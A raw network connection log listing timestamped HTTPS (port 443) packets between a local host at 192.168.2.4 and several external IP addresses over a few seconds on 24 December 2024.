Dec 24, 2024 15:06:29.290622950 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:29.290910959 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:29.290925026 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:29.294918060 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.295052052 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.295110941 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.295128107 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.295216084 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.295274019 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.295279980 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.302794933 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.302869081 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.302877903 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.311283112 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.311356068 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.311363935 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.319683075 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.319750071 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.319756985 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.325891972 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.373373032 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.373378992 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.420186996 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.420198917 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.467427015 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.470221996 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.470232964 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.470304012 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.470312119 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.470355034 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.470402956 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.470413923 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.470422029 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.470422029 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.470463037 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.486438036 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.490323067 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.490392923 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.490405083 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.505075932 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.505145073 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.505153894 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.513324022 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.513413906 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.513422966 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.513797998 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.513808966 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.513850927 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.513871908 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.513886929 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.513899088 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.513921022 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.513941050 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.521490097 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.521543980 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.521564007 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.521573067 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.521629095 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.529872894 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.538033962 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.538105011 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.538113117 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.546415091 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.546469927 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.546478033 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.554593086 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.554658890 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.554666042 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.560760975 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.560777903 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.560858011 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.560874939 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.560918093 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.562813997 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.562868118 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.562877893 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.607942104 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.607949972 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.654001951 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.681420088 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.681526899 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.681585073 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.681597948 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.684999943 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.685019970 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.685081959 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.685096979 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.685154915 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.685602903 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.685657024 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.685663939 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.685729980 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.685779095 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.685951948 CET	49755	443	192.168.2.4	104.17.24.14
Dec 24, 2024 15:06:29.685961962 CET	443	49755	104.17.24.14	192.168.2.4
Dec 24, 2024 15:06:29.713902950 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.713920116 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.714009047 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.714020014 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.714062929 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.726114035 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.726186037 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.726223946 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.726274967 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.726542950 CET	49757	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.726556063 CET	443	49757	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.826735020 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:29.826837063 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:29.826940060 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:29.827105999 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:29.827132940 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:29.828567982 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:29.828591108 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:29.828661919 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:29.828790903 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:29.828804016 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:29.875859022 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.875910997 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:29.876005888 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.876163960 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:29.876192093 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:30.499943972 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.500184059 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:30.500196934 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.500488043 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.500821114 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:30.500874996 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.501029968 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:30.543324947 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.942595959 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.942642927 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.942667007 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.942692995 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:30.942698956 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.942709923 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.942744017 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:30.942797899 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.942837954 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:30.942854881 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.951145887 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.951200008 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:30.951206923 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:30.994951010 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:30.994960070 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.038022041 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.038364887 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.038397074 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.039427042 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.039509058 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.039824963 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.039886951 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.039958000 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.039968014 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.040640116 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.046310902 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.046530962 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.046608925 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.048276901 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.048352957 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.049202919 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.049299002 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.049349070 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.062360048 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.066649914 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.066704035 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.066718102 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.083076954 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.083281994 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.083327055 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.084965944 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.085036039 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.085299015 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.085388899 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.085392952 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.087483883 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.091325998 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.102720022 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.102739096 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.118020058 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.127326965 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.133718014 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.133734941 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.134543896 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.139578104 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.139650106 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.139657021 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.144589901 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.144639015 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.144644976 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.149426937 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.159249067 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.159301996 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.159311056 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.166897058 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.166946888 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.166951895 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.174576044 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.174628019 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.174633026 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.179857969 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.182177067 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.182241917 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.182246923 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.189786911 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.189841032 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.189846039 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.196860075 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.196907043 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.196912050 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.203805923 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.203860044 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.203866005 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.210700035 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.210752010 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.210757971 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.224653959 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.224692106 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.224721909 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.224729061 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.224761009 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.224766970 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.224807978 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.224967957 CET	49759	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.224982977 CET	443	49759	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.372172117 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:31.372221947 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:31.372301102 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:31.372494936 CET	49763	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:31.372509003 CET	443	49763	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:31.417110920 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.417166948 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.417243958 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.417418003 CET	49764	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:31.417432070 CET	443	49764	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:31.486743927 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.486783981 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.486818075 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.486861944 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.486881018 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.486886978 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.486916065 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.486931086 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.486931086 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.494983912 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.495052099 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.495060921 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.503396988 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.503449917 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.503457069 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.506071091 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.506166935 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.506232023 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.506334066 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.506334066 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.506397009 CET	443	49760	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.506464005 CET	49760	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.506743908 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.506768942 CET	443	49765	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.506829977 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.507009029 CET	49765	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:06:31.507019997 CET	443	49765	35.190.80.1	192.168.2.4
Dec 24, 2024 15:06:31.516581059 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.516758919 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.516801119 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.516840935 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.516863108 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.516875029 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.516889095 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.516907930 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.516937971 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.525202036 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.534687996 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.534785032 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.534806967 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.542072058 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.542134047 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.542149067 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.557279110 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.588083982 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.588102102 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.606595993 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.633969069 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.636832952 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.656117916 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.656126022 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.682466030 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.682638884 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.682646990 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.688213110 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.690418005 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.690479994 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.690485954 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.698120117 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.698199034 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.698199987 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.698211908 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.698251009 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.706120968 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.708921909 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.712713957 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.712801933 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.712841034 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.714106083 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.714162111 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.714171886 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.720555067 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.720607996 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.720624924 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.721671104 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.721724033 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.721730947 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.728168964 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.728245974 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.728260994 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.729496002 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.729552984 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.729559898 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.736200094 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.736263990 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.736278057 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.744059086 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.744138002 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.744168997 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.745729923 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.745749950 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.745781898 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.745791912 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.745839119 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.751274109 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.751358032 CET	49762	443	192.168.2.4	151.101.66.137
Dec 24, 2024 15:06:31.751373053 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.752012968 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.760101080 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.760133028 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.760184050 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.760188103 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.760251045 CET	49761	443	192.168.2.4	104.17.25.14
Dec 24, 2024 15:06:31.766530991 CET	443	49761	104.17.25.14	192.168.2.4
Dec 24, 2024 15:06:31.766848087 CET	443	49762	151.101.66.137	192.168.2.4
Dec 24, 2024 15:06:31.766917944 CET	49762	443	192.168.2.4	151.101.66.137
